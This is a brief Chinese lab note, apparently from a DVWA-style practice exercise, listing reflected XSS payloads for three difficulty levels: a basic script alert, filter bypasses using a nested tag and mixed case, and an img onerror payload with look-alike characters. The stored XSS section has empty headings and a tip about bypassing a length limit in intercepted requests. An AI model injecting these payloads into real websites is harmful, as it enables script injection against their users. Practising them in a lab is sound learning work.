反射型
初级 <script>alert(123456)</script>
中级 <sc<script>ript>alert(123456)</script>或者<Script>alert(123456)</script>（结果是一样的俩种方式）
高级 <img src="" οnerrοr="alert(‘MA‘)">
储存型
初级
中级
高级
后面黑了，是我点的次数太多了，一开始我以为出错了，就多点了几下
其实这俩种差不多，无非就是限制了一下字节长度，在抓包里改就行
原文：https://www.cnblogs.com/zhao-yang/p/12272990.html